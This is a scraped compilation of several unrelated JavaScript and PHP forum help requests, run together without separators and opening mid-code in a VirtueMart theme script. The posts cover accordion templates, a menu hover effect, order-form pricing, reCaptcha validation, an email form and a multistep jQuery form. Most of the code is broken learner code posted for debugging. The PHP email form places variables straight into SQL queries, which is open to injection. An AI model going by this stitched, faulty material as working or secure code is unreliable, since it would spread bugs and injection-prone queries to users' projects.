if(!a||!a.getText().toInt()&&(!RokVM.Cart.cartPanel.getText().length&&!window.webkit)) { return } RokVM.Cart.clicked=true; if(window.fontFx&&window.fontFx.open) { window.fontFx.toggle() } if(window.loginFx&&window.loginFx.open) { window.loginFx.toggle() } RokVM.Cart.Fx.toggle() } ); RokVM.scrollWindow=new(Fx.Scroll)(window); RokVM.Cart.getShortList(); RokVM.Cart.XHRify() } ,XHRify:function() { var b=$$(".addtocart_form"); if(!b.length) { return RokVM.Cart } b.each(function(a) { a.addEvent("submit",RokVM.Cart.add.bindWithEvent(a,true)) } ) } ,add:function(e,c) { (new Event(e)).stop(); (new Ajax(this.getProperty("action"), { data:$(this),evalScripts:true,onComplete:function(r) { var a=new Element('div').setHTML(r); var b=a.getElement('.shop_tip'); RokVM.Cart.getShortList((r.length&&b)?r:false); RokVM.Cart.clicked=c||false } } )).request() } ,getShortList:function(b) { var c= { onComplete:function(a) { RokVM.Cart.update(a,b) } ,evalScripts:true,data: { only_page:1,page:"shop.basket_short",option:"com_virtuemart" } }; (new Ajax(RokVM.Base.uri+"index2.php",c)).request() } ,handleError:function(a) { var b=RokVM.Cart.cartPanel; var c=new Element('div').setHTML(a); var d=b.getElement('.show-cart-button'); var e=c.getElement('.shop_tip').inject((d)?d:b,(d)?'before':'inside') } ,update:function(a,b) { RokVM.Cart.cartPanel.setHTML(a); var c=RokVM.Cart.cartPanel.getElement(".total_products"),total=0; if(c) { total=c.innerHTML.split(" ")[0].toInt() } if(!total) { RokVM.Cart.cartButton.getFirst().setProperty("class","cart-button-desc") } else { RokVM.Cart.cartButton.getFirst().setProperty("class","cart-button-desc-full") } RokVM.Cart.cartButton.getElement("strong").setText(total); if(b)RokVM.Cart.handleError(b); if(RokVM.Cart.clicked&&a.length||b) { if(window.fontFx&&window.fontFx.open) { window.fontFx.toggle() } if(window.loginFx&&window.loginFx.open) { window.loginFx.toggle() } RokVM.scrollWindow.toTop(); RokVM.Cart.show(); RokVM.Cart.hide.delay(RokVM.autoHide*1000) } RokVM.Cart.clicked=false } ,show:function() { RokVM.Cart.Fx.slideIn() } ,hide:function() { RokVM.Cart.Fx.slideOut() } }; window.addEvent("domready",RokVM.Base.start); window.addEvent(window.webkit?"load":"domready",function() { RokVM.Base.featuredHeight("home-featured") } ); var live_site = RokVM.Base.uri; Then following - this in the same theme.js file (this is not packed) Code: /// Following is VM stuff, kept for compatibility /** * This file holds javscript functions that are used by the templates in the Theme * */ // AJAX FUNCTIONS function loadNewPage( el, url ) { var theEl = $(el); var callback = { success : function(responseText) { theEl.innerHTML = responseText; if( Lightbox ) Lightbox.init(); } } var opt = { // Use POST method: 'get', // Handle successful response onComplete: callback.success } new Ajax( url + '&only_page=1', opt ).request(); } function handleGoToCart() { document.location = live_site + '/index.php?option=com_virtuemart&page=shop.cart&product_id=' + formCartAdd.product_id.value ; } function handleAddToCart( formId, parameters ) { formCartAdd = document.getElementById( formId ); var callback = function(responseText) { updateMiniCarts(); // close an existing mooPrompt box first, before attempting to create a new one (thanks wellsie!) /*if (document.boxB) { document.boxB.close(); clearTimeout(timeoutID); } document.boxB = new MooPrompt(notice_lbl, responseText, { buttons: 2, width:400, height:150, overlay: false, button1: ok_lbl, button2: cart_title, onButton2: handleGoToCart }); setTimeout( 'document.boxB.close()', 3000 );*/ } var opt = { // Use POST method: 'post', // Send this lovely data data: $(formId), // Handle successful response onComplete: callback, evalScripts: true } new Ajax(formCartAdd.action, opt).request(); } /** * This function searches for all elements with the class name "vmCartModule" and * updates them with the contents of the page "shop.basket_short" after a cart modification event */ function updateMiniCarts() { var callbackCart = function(responseText) { carts = $$( '.vmCartModule' ); if( carts ) { try { for (var i=0; i<carts.length; i++){ carts[i].innerHTML = responseText; try { color = carts[i].getStyle( 'color' ); bgcolor = carts[i].getStyle( 'background-color' ); if( bgcolor == 'transparent' ) { // If the current element has no background color, it is transparent. // We can't make a highlight without knowing about the real background color, // so let's loop up to the next parent that has a BG Color parent = carts[i].getParent(); while( parent && bgcolor == 'transparent' ) { bgcolor = parent.getStyle( 'background-color' ); parent = parent.getParent(); } } var fxc = new Fx.Style(carts[i], 'color', {duration: 1000}); var fxbgc = new Fx.Style(carts[i], 'background-color', {duration: 1000}); fxc.start( '#222', color ); fxbgc.start( '#fff68f', bgcolor ); if( parent ) { setTimeout( "carts[" + i + "].setStyle( 'background-color', 'transparent' )", 1000 ); } } catch(e) {} } } catch(e) {} } } var option = { method: 'post', onComplete: callbackCart, data: { only_page:1,page: "shop.basket_short", option: "com_virtuemart" } } new Ajax( live_site + '/index2.php', option).request(); } /** * This function allows you to present contents of a URL in a really nice stylish dhtml Window * It uses the WindowJS, so make sure you have called * vmCommonHTML::loadWindowsJS(); * before */ function fancyPop( url, parameters ) { parameters = parameters || {}; popTitle = parameters.title || ''; popWidth = parameters.width || 700; popHeight = parameters.height || 600; popModal = parameters.modal || false; window_id = new Window('window_id', {className: "mac_os_x", title: popTitle, showEffect: Element.show, hideEffect: Element.hide, width: popWidth, height: popHeight}); window_id.setAjaxContent( url, {evalScripts:true}, true, popModal ); window_id.setCookie('window_size'); window_id.setDestroyOnClose(); } Hello, i would like to advise me on sthg. I have built a website using a)MySQL b)HTML c)PHP and d)Javascript. My website consists of basic html pages/templates which have links to the left and point to another templates/pages. For example, i have 4 templates in my site 1st template is for: News 2nd : Library 3nd : Articles 4th : E-shop Each template consists of 1. a small menu with links,every link points to another page 2.space for the content/text of the html page 3. a form for searching in the website using php and a mysql database. Well, i'm thinking of adding some animation in my website using the jquery library.Let's say we have an accordion which has 4 choices and when the user clicks on the first choice the 1st template(NEWS) appears inside the slide of accordion,loads in the same slide, not in a new page!!!This is what i would like to do, place in each slide of the accordion one of my templates. CAn this be done??? Which are the disadvantages of adding in each slide of the accordion a different template for my site and remain in the same slide when the user clicks in one of the links of the template??? Consider that i'm using dynamic content and not static, i have a MySQL database behind. Also,as i have seen in most examples the options of accordion usually contain an image, a content, a text or links which open in a new window or tab not inside the slide!!!These links do not load in the same slide!!i would like to have a template which loads in the slide each time the user clicks on a link of it. CAn this be done?? I would be glad if sm could advise me! Thanks, in advance!!! Hi everyone, Im new to the whole website thing as a whole but my mate got me onto joomla which has been great and iv got a site up im almost happy with and have learnt quite alot about coding etc. My problem is: Im utilising a vertical menu, just simple text as links, i want to add an effect on hover and clicking on that makes the text slide elegantly to the right about 16pixels. I have another unpublished template that iv bought (that doesnt quite work at all, module position all messed up etc) but it does this hover effect perfectly on the menu. So i have the .js file from that template and iv read some tutorials on how to add a js file to my template but its just not doing anything. Is it a good idea to try to add this file from a different template to my template or is there a easier way to do this (what i think is a) simple effect. Thanks. ps i can post the js code if wanted Hello I've been struggling trying to get a small order form to work the way I want it to. Here is a link to the live page: http://www.watphotos.com/introductio...otography.html And here is the code in question: Code: <script src="js/jquery-1.4.2.min.js" type="text/javascript"></script> <script type="text/javascript" charset="utf-8"> $(document).ready(function(){ var initial = 0 var total = 0; var services = 0; function addServices() { initial = 150 total = initial services = 0; $("input:checked").each(function(){ value = $(this).attr("value"); services += parseInt(value); }); } $(function() { addServices(); total += services; $("form").before('<p class="price"></p>') $("p.price").text("Total Price: US$" + total); }); $("input:radio, input:checkbox").click(function () { addServices(); total += services $("p.price").text("Total Price: US$" + total); }); }); </script> I have two questions... Question 1 How can I make this piece of script act a little smarter. Look at the order form, I'm catering for up to 4 people and providing lunch for them. If they select 3 people and the spaghetti bol for lunch, it's only adding $10 where it should be adding $30. Obviously this is simple multiplication but since the values in my form are prices it makes it a little tricky. I'm guessing an onselect on the first part of the form which changes the pricing of the other items would be the way to go, but how do I do this? Question 2 The "Total Price" is placed before the <form> tag by the script. This is ok but it's not where I want it. How can I position this text elsewhere in the document? Thanks in advance! I've literally tried everything. Read 26 tutorials, interchanged code, etc. My validation functions all work. My AJAX functions work (tested manually using servlet URL's). The second servlet validates the reCaptcha form that's generated on my webpage. After the form is validated, even if everything's correct, nothing happens upon clicking submit. I even have an alert pop up if with the captcha result, just for middle-layer debugging purposes. I want to do all of my validation clientside; none serverside. However, going to be tough if I can't get my god damn form to submit. I've been puzzled by this for close to 36 hours straight. I can't see, and I'm going to get some rest and hope that there is some useful insight on my problem when I return. html form: Code: <form id="f1" name="form1" onsubmit="validate_form(this); return false;" action="register" method="post"> <table cellspacing="5" style="border: 2px solid black;"> <tr> <td valign="top"> <table cellspacing="5"> <tr> <td>*First name</td> <td align="right"><span id="valid_one"></span></td> <td><input type="text" style="width: 320px;" id="fn" name="fn" onBlur="validate_one();"></td> </tr> <tr> <td align="left">*Last name</td> <td align="right"><span id="valid_two"></span></td> <td><input type="text" style="width: 320px;" id="ln" name="ln" onBlur="validate_two();"></td> </tr> <tr> <td align="left">*Email address</td> <td align="right"><span id="result"></span></td> <td><input type="text" style="width: 320px;" id="mailfield" name="email" onBlur="startRequest();"></td> </tr> <tr> <td align="left">*Phone number</td> <td align="right"><span id="valid_three"></span></td> <td><input type="text" style="width: 320px;" id="pn" name="pn" onBlur="validate_three();"></td> </tr> <tr> <td align="left">*City/Town</td> <td align="right"><span id="valid_four"></span></td> <td><input type="text" style="width: 320px;" id="c" name="c" onBlur="validate_four();"></td> </tr> <tr> <td></td> <td></td> <td> <select name="s"> <option value="AL">Alabama <option value="AK">Alaska <option value="AZ">Arizona <option value="AR">Arkansas <option value="CA">California <option value="CO">Colorado <option value="CT">Connecticut <option value="DE">Delaware <option value="FL">Florida <option value="GA">Georgia <option value="HI">Hawaii <option value="ID">Idaho <option value="IL">Illinois <option value="IN">Indiana <option value="IA">Iowa <option value="KS">Kansas <option value="KY">Kentucky <option value="LA">Louisiana <option value="ME">Maine <option value="MD">Maryland <option value="MA">Massachusetts <option value="MI">Michigan <option value="MN">Minnesota <option value="MS">Mississippi <option value="MO">Missouri <option value="MT">Montana <option value="NE">Nebraska <option value="NV">Nevada <option value="NH">New Hampshire <option value="NJ">New Jersey <option value="NM">New Mexico <option value="NY">New York <option value="MC">North Carolina <option value="ND">North Dakota <option value="OH">Ohio <option value="OK">Oklahoma <option value="OR">Oregon <option value="PA">Pennsylvania <option value="RI">Rhode Island <option value="SC">South Carolina <option value="SD">South Dakota <option value="TN">Tennessee <option value="TX">Texas <option value="UT">Utah <option value="VT">Vermont <option value="VA">Virginia <option value="WA">Washington <option value="WV">West Virginia <option value="WI">Wisconsin <option value="WY">Wyoming </select> </td> </tr> <tr> <td> <br> </td> </tr> <tr> <td></td> <td></td> <td><span id="error"></span></td> </tr> <tr> <td valign="top">*Anti-Spam Verification</td> <td></td> <td id="reCaptcha"></td> </tr> </table> </td> <td valign="top"> <table cellspacing="5"> <tr> <td align="left">*Affiliation</td> <td align="right"><span id="valid_five"></span></td> <td><input type="text" style="width: 320px;" id="affl" name="affl" onBlur="validate_five();"></td> </tr> <tr> <td align="left">*Research Area:</td> <td align="right"><span id="valid_six"></span></td> <td><input type="text" style="width: 320px;" id="ra" name="ra" onBlur="validate_six();"></td> </tr> <tr> <td valign="top" align="left">*Research Overview</td> <td align="right"><span id="valid_seven"></span></td> <td><textarea cols="38" rows="6" id="ro" name="ro" onKeyDown="limitText(this.form.ro,this.form.countdown,500)" onKeyUp="limitText(this.form.ro,this.form.countdown,500)" onBlur="validate_seven();"></textarea></td> </tr> <tr> <td></td> <td></td> <td><font size="1">You have <input readonly type="text" name="countdown" size="1" value="500"> characters remaining.</font></td> </tr> <tr> <td align="left">*Talk Availability</td> <td></td> <td> <input type="radio" name="ta" value="In person">In person <input type="radio" name="ta" value="Online">Online <input type="radio" name="ta" value="Both" checked>Both </td> </tr> <tr> <td align="left" valign="top">Links</td> <td></td> <td> <table id="linkTable" border="0"> <td><input type="text" style="width: 320px;" name="link"></td> <td><div id="result"></div></td> </table> </td> <td align="left" valign="top"><input type="button" value="Add Link" onclick="addLink('linkTable')"></td> </tr> <tr> <td></td> <td><span style="color: red;"></span></td> </tr> </table> </td> </tr> </table> <br /> <input type="submit" id="submit" name="submit" value="Submit Form"> </form> Javascript file: Code: /* * script.js - ajax and table functions */ var xmlHttp; // global instance of XMLHttpRequest var xmlHttp2; // second for captcha functions var validAjax = new Boolean(); var validCaptcha = new Boolean(); var valid_one = new Boolean(); var valid_two = new Boolean(); var valid_three = new Boolean(); var valid_four = new Boolean(); var valid_five = new Boolean(); var valid_six = new Boolean(); var valid_seven = new Boolean(); function init() { showRecaptcha('reCaptcha'); // Separate booleans for AJAX funcs validAjax = false; validCaptcha = false; // Booleanse for fields that don't require servlet validation valid_one = false; valid_two = false; valid_three = false; valid_four = false; valid_five = false; valid_six = false; valid_seven = false; } function showRecaptcha(element) { Recaptcha.create("6Le1a8ESAAAAAGtxX0miZ2bMg0Wymltnth7IG-Mj", element, {theme: "red", callback: Recaptcha.focus_response_field}); } function validate_form() { if (valid_one && valid_two && valid_three && valid_four && validEmail) { startCaptchaRequest(); if (validCaptcha) { return true; } } else { alert("Submission contains errors. Please fill out all required fields before submitting."); return false; } } function validate_one() { if (document.getElementById("fn").value == 0) { valid_one = false; document.getElementById("valid_one").innerHTML = "No"; } else { valid_one = true; document.getElementById("valid_one").innerHTML = ""; } } function validate_two() { if (document.getElementById("ln").value == 0) { valid_two = false; document.getElementById("valid_two").innerHTML = "No"; } else { valid_two = true; document.getElementById("valid_two").innerHTML = ""; } } function validate_three() { if (document.getElementById("pn").value == 0) { valid_three = false; document.getElementById("valid_three").innerHTML = "No"; } else { valid_three = true; document.getElementById("valid_three").innerHTML = ""; } } function validate_four() { if (document.getElementById("c").value == 0) { valid_four = false; document.getElementById("valid_four").innerHTML = "No"; } else { valid_four = true; document.getElementById("valid_four").innerHTML = ""; } } function validate_five() { if (document.getElementById("affl").value == 0) { valid_five = false; document.getElementById("valid_five").innerHTML = "No"; } else { valid_five = true; document.getElementById("valid_five").innerHTML = ""; } } // //function validate_six() { // if (document.getElementById("ra").value == 0) { // valid_six = false; // document.getElementById("valid_six").innerHTML = "No"; // } // else { // valid_six = true; // document.getElementById("valid_six").innerHTML = ""; // } //} // //function validate_seven() { // if (document.getElementById("ro").value == 0) { // valid_seven = false; // document.getElementById("valid_seven").innerHTML = "No"; // } // else { // valid_seven = true; // document.getElementById("valid_seven").innerHTML = ""; // } //} function addLink(tableID) { var table = document.getElementById(tableID); var rowCount = table.rows.length; var row = table.insertRow(rowCount); var cell = row.insertCell(0); var element1 = document.createElement("input"); element1.type = "text"; element1.name = "link" + rowCount; element1.style.width = "320px"; cell.appendChild(element1); } function limitText(limitField, limitCount, limitNum) { if (limitField.value.length > limitNum) { limitField.value = limitField.value.substring(0, limitNum); } else { limitCount.value = limitNum - limitField.value.length; } } function createXmlHttpRequest() { if(window.ActiveXObject) { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } else if(window.XMLHttpRequest) { xmlHttp=new XMLHttpRequest(); } } function startRequest() { createXmlHttpRequest(); var param1 = document.getElementById('mailfield').value; if (param1 == "") { validEmail = false; document.getElementById("result").innerHTML = "Blank"; } else { xmlHttp.open("GET", "http://localhost:1979/PolarSpeakers/servlet/mailCheck.do?e=" + param1, true) xmlHttp.onreadystatechange = handleStateChange; xmlHttp.send(null); } } function handleStateChange() { if(xmlHttp.readyState==4) { if(xmlHttp.status==200) { var message = xmlHttp.responseXML .getElementsByTagName("valid")[0] .childNodes[0].nodeValue; if (message == "Unregistered") { validEmail = true; document.getElementById("result").style.color = "green"; } else { validEmail = false; document.getElementById("result").style.color = "red"; } document.getElementById("result").innerHTML = message; } else { alert("Error checking e-mail address - " + xmlHttp.status + " : " + xmlHttp.statusText); } } } function createCaptchaRequest() { if(window.ActiveXObject) { xmlHttp2=new ActiveXObject("Microsoft.XMLHTTP"); } else if(window.XMLHttpRequest) { xmlHttp2=new XMLHttpRequest(); } } function startCaptchaRequest() { alert('made it to captcha requeswt'); createCaptchaRequest(); var param1 = Recaptcha.get_challenge(); var param2 = Recaptcha.get_response(); xmlHttp2.open("POST", "http://localhost:1979/PolarSpeakers/servlet/captchaCheck.do?c=" + param1 + "&r=" + param2, true) xmlHttp2.onreadystatechange = handleStateChangeCaptcha; xmlHttp2.send(null); } function handleStateChangeCaptcha() { if(xmlHttp2.readyState==4) { if(xmlHttp2.status==200) { var message = xmlHttp2.responseXML .getElementsByTagName("result")[0] .childNodes[0].nodeValue; if (message == "Valid") { alert("captcha valid"); validCaptcha = true; } else { document.getElementById("error").innerHTML = message; validCaptcha = false; } } else { alert("Error checking captcha validity - " + xmlHttp2.status + " : " + xmlHttp2.statusText); } } } Hi guys, Been stuck for a few days with this scenario. Any help? The alert box appears on an error. But the submitting won't stop. The details are submitted and the form is processed. Any help is greatly appreciated... Code: <html> <head> <script type="text/javascript" src="email_helper/jscripts/tiny_mce/tiny_mce.js"></script> <script type="text/javascript"> tinyMCE.init({ // General options mode : "textareas", theme : "simple" }); </script> <script language="javascript"> function MM_openBrWindow(theURL,winName,features) { window.open(theURL,winName,features); } function err_check(){ var email = document.getElementById('to_email').value; if(email.length==0){ alert('Please Enter Email Address'); return false; } var AtPos = email.indexOf("@") var StopPos = email.lastIndexOf(".") if (AtPos == -1 || StopPos == -1) { alert("Please Enter Valid Email Address"); document.getElementById('email').focus(); return false; } email = document.getElementById('cc_email').value; if(email.length != 0){ var AtPos = email.indexOf("@") var StopPos = email.lastIndexOf(".") if (AtPos == -1 || StopPos == -1) { alert("Please Enter Valid Email Address"); document.getElementById('email').focus(); return false; } } var answer = confirm ("Send E-Mail?"); if (!answer){ return false; } } </script> <!-- /TinyMCE --> <style type="text/css"> body, table, td, th{ background-color:#CCCCCC; font-family: Arial; font-size:14px; } .que{ font-weight:bold; } </style> </head> <body> <form method="post" enctype="multipart/form-data"> <?php include 'library/database.php'; include 'library/opendb.php'; $query = mysql_query("SELECT email,contact,mobile FROM users WHERE user_id='$uid'") or die(mysql_error()); $row = mysql_fetch_row($query); $from_email = $row[0]; $from_person = $row[1]; $from_mobile = $row[2]; $query = mysql_query("SELECT customer_id FROM campaign_summary WHERE camp_id='$camp_id'") or die(mysql_error()); $row = mysql_fetch_row($query); $cusid = $row[0]; $query = mysql_query("SELECT email FROM client_info WHERE comp_id='$cusid'") or die(mysql_error()); $row = mysql_fetch_row($query); $toer = $row[0]; include 'library/closedb.php'; ?> <table width="100%" border="0"> <tr><td rowspan="4"><input type="submit" name="send_email" id="send_email" style="height:50px; width:100px;" value="SEND" onClick="return err_check();" /></td><td><span class="que">From : </span></td><td colspan="3"><?php echo $from_email; ?><input type="hidden" name="from_mail" id="from_mail" /><input type="hidden" name="camp_id" id="camp_id" value="<?php echo $camp_id;?>"/></td></tr> <tr><td><span class="que">To : </span></td><td colspan="3"><input name="to_email" id="to_email" style="width:250px;" value="<?php echo $toer;?>"/></td></tr> <tr><td><span class="que">CC : </span></td><td colspan="3"><input name="cc_email" id="cc_email" style="width:250px;"/></td></tr> <tr><td><span class="que">Subject : </span></td><td colspan="3"><input style="width:300px;" name="subject" id="subject" /></td></tr> <tr><td rowspan="1" colspan="2"> </td><td><input type="checkbox" name="ori_pdf" id="ori_pdf" checked /> PDF Quotation</td><td> </td><td> </td></tr><tr><td colspan="2"><span class="que">Credit Application</span></td><td><input type="checkbox" name="corporate" id="corporate"/>Corporate</td><td><input type="checkbox" name="individual" id="individual" />Individual</td><td><input type="checkbox" name="cash" id="cash" />Cash Account</td> </tr> <tr> <td colspan="2" rowspan="3"></td><td><input type="checkbox" name="tabloid" id="tabloid" />Tabloid Example</td> <td><input type="checkbox" name="broadsheet" id="broadsheet" />Broadsheet Example</td></tr> <tr><td><input type="checkbox" name="colmt" id="colmt" />Column Sizes Tabloid</td> <td><input type="checkbox" name="colmb" id="colmb" />Column Sizes Broadsheet</td></tr> <tr><td><input type="checkbox" name="maps" id="maps" />Maps / Distribution</td><td colspan="2" align="right">External Attachments <input id="upload_file" name="upload_file" type="file"/> </td></tr> <tr><td colspan="2"><span class="que">Message :</span></td><td colspan="3"> <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 100%"> <?php echo "<br><br><br>" . $from_person . "<br>" . $from_mobile; ?> </textarea> </td></tr> </table> </form> </body> </html> I've set up a mock registration form page so I can learn a bit about javascript's form validation. (newbie) I want to try to attempt to style the border of a form field green when the user enters the correct info into the form text field and red on all other fields if the user doesnt enter any info into them. When i test it, enter the right info into the username field, leave the others blank, and hit the submit button it styles the username field green ok but it doesnt make the next fields (password and so on) red. Could someone please explain what I am doing wrong? here is my code so far... Note: just for testing purposes I've put return false on everything so it displays a message when everythings ok. Code: .... <script type="text/javascript"> window.onload = function() { document.forms[0].username.focus(); } function validate(form) { var form = document.getElementById("reg"); var e = document.getElementById("error"); e.style.background = "red"; for(var i = 0; i < form.elements.length; i++) { var el = form.elements[i]; if(el.type == "text" || el.type == "password") { if(el.value == "") { e.innerHTML = "Please fill in all fields!"; el.style.border = "1px solid red"; el.focus(); return false; } else { el.style.border = "1px solid green"; return false; } } } var un = form.username; un.value = un.value.replace(/^\s+|\s+$/g,""); if((un.value.length < 3)|| (/[^a-z0-9\_]/gi.test(un.value))) { e.innerHTML = "Only letters,numbers and the underscore are allowed (no spaces) - 3-16 characters"; un.focus(); return false; } var pw = form.password; pw.value = pw.value.replace(/^\s+|\s+$/g,""); if((pw.value.length < 3) || (/[^a-z0-9]/gi.test(pw.value))) { e.innerHTML = "Only letters and numbers are allowed (no spaces) - 3-16 characters"; pw.focus(); return false; } e.innerHTML = "You filled in all the fields, well done!"; e.style.background = "green"; return false; } </script> </head> <body> <div id="wrapper"> <div id="header"> <h1>My Cool Website</h1> </div> <div id="content"> <div class="padding"> <h2>Registration</h2> <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Duis ligula lorem, consequat eget, tristique nec, auctor quis, purus. Vivamus ut sem. Fusce aliquam nunc vitae purus. Aenean viverra malesuada libero. Fusce ac quam. Donec neque. Nunc venenatis enim nec quam. Cras faucibus, justo vel accumsan aliquam, tellus dui fringilla quam, in condimentum augue lorem non tellus. Pellentesque id arcu non sem placerat iaculis. Curabitur posuere, pede vitae lacinia accumsan, enim nibh elementum orci, ut volutpat eros sapien nec sapien. Suspendisse neque arcu, ultrices commodo, pellentesque sit amet, ultricies ut, ipsum. Mauris et eros eget erat dapibus mollis. Mauris laoreet posuere odio. Nam ipsum ligula, ullamcorper eu, fringilla at, lacinia ut, augue. Nullam nunc.</p> <form id="reg" action="#" method="post" onsubmit="return validate(this)"> <div id="error"></div> <div><label for="username">Username</label></div> <div><input type="text" name="username" id="username" size="30" maxlength="16" /></div> <div><label for="password">Password</label></div> <div><input type="password" name="password" id="password" size="30" maxlength="16" /></div> <div><label for="c_password">Confirm Password</label></div> <div><input type="password" name="c_password" id="c_password" size="30" maxlength="16" /></div> <div><label for="email">Email address</label></div> <div><input type="text" name="email" id="email" size="30" maxlength="200" /></div> <div><label for="c_email">Confirm Email address</label></div> <div><input type="text" name="c_email" id="c_email" size="30" maxlength="200" /></div> <div><label for="firstname">First name</label></div> <div><input type="text" name="firstname" id="firstname" size="30" maxlength="100" /></div> <div><label for="surname">Surname</label></div> <div><input type="text" name="surname" id="surname" size="30" maxlength="100" /></div> <div><label for="gender">Gender</label></div> <div> <div><input type="radio" name="gender" id="gender" value="m" checked="checked" />Male</div> <div><input type="radio" name="gender" value="f" />Female</div> </div> <div><input type="submit" value="Register" name="submit" /></div> </form> </div> </div> <div id="footer"> <p>Copyright © 2009 My Cool Website</p> </div> </div> </body> </html> Hello all, I have a multistep jquery form that validates user input and then should send me an email. Problem is, right now, I can only get it to validate the first page, then it sends the email before the rest of the pages are viewed. I'm just trying to delay the submission of the form until the "submit_fourth" button is pressed. I've got $25 via paypal for the one who sticks with this one for long enough to come up with a workable solution. Here is my code... I know it's a lot, but I wasn't sure how much would be helpful. HTML code is in the second post in this thread (it was just too much to fit in one go). Cheers! -Dave The Javascript: Code: $(function validateForm(){ //original field values var field_values = { //id : value 'name' : 'your name', 'email' : 'email', 'phone' : '(555) 123-4567', 'other' : 'other', 'detail' : 'project overview' }; //inputfocus $('input#name').inputfocus({ value: field_values['name'] }); $('input#email').inputfocus({ value: field_values['email'] }); $('input#phone').inputfocus({ value: field_values['phone'] }); $('input#other').inputfocus({ value: field_values['other'] }); $('input#detail').inputfocus({ value: field_values['detail'] }); //reset progress bar $('#progress').css('width','0'); $('#progress_text').html('0% Complete'); //first_step $('form').submit(function(){ }); $('#submit_first').click(function(){ //remove classes $('#first_step input').removeClass('error').removeClass('valid'); //ckeck if inputs aren't empty var emailPattern = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/; var fields1 = $('#first_step input[type=text]'); var error = 0; fields1.each(function(){ var value = $(this).val(); if( value.length<5 || value==field_values[$(this).attr('id')] || ( $(this).attr('id')=='email' && !emailPattern.test(value) ) ) { $(this).addClass('error'); $(this).effect("shake", { times:3 }, 50); error++; } else { $(this).addClass('valid'); } }); if(error <= 0) { //update progress bar $('#progress_text').html('25% Complete'); $('#progress').css('width','85px'); //slide steps $('#first_step').slideUp(); $('#second_step').slideDown(); } else return false; }); $('#back_second').click(function(){ //update progress bar $('#progress_text').html('0% Complete'); $('#progress').css('width','0px'); //slide steps $('#second_step').slideUp(); $('#first_step').slideDown(); }); $('#submit_second').click(function(){ //remove classes $('#second_step input').removeClass('error').removeClass('valid'); var fields2 = $('#second_step input[textarea]'); var error = 0; fields2.each(function(){ var value = $(this).val(); if( value.length<5 || value==field_values[$(this).attr('id')] ) { $(this).addClass('error'); $(this).effect("shake", { times:3 }, 50); error++; } else { $(this).addClass('valid'); } }); if(error <= 0) { //update progress bar $('#progress_text').html('50% Complete'); $('#progress').css('width','170px'); //slide steps $('#second_step').slideUp(); $('#third_step').slideDown(); } else return false; }); $('#back_third').click(function(){ //update progress bar $('#progress_text').html('25% Complete'); $('#progress').css('width','85px'); //slide steps $('#third_step').slideUp(); $('#second_step').slideDown(); }); $('#submit_third').click(function(){ //update progress bar $('#progress_text').html('75% Complete'); $('#progress').css('width','255px'); //prepare the fourth step var fields3 = new Array( $('#time').val(), $('#budget').val() ); var fields2half = new Array( $('#detail').val() ); var fields2 = new Array( $('#other').val(), $('#pages').val() ); var fields1 = new Array( $('#name').val(), $('#email').val(), $('#phone').val(), $('#contact').val(), $('#url').val() ); var tr = $('#fourth_step tr'); tr.each(function(){ //alert( fields[$(this).index()] ) $(this).children('.1 td:nth-child(2)').html(fields1[$(this).index()]); $(this).children('.2 td:nth-child(2)').html(fields2[$(this).index()]); $(this).children('.2half td:nth-child(2)').html(fields2half[$(this).index()]); $(this).children('.3 td:nth-child(2)').html(fields3[$(this).index()]); }); //slide steps $('#third_step').slideUp(); $('#fourth_step').slideDown(); }); $('#back_fourth').click(function(){ //update progress bar $('#progress_text').html('50% Complete'); $('#progress').css('width','170px'); //slide steps $('#fourth_step').slideUp(); $('#third_step').slideDown(); }); $('#submit_fourth').click(function(){ //send information to server //update progress bar $('#progress_text').html('100% Complete'); $('#progress').css('width','339px'); //slide steps $('#fifth_step').slideUp(); $('#fourth_step').slideDown(); if(error <= 0) { return true } else{ return false } }); }); |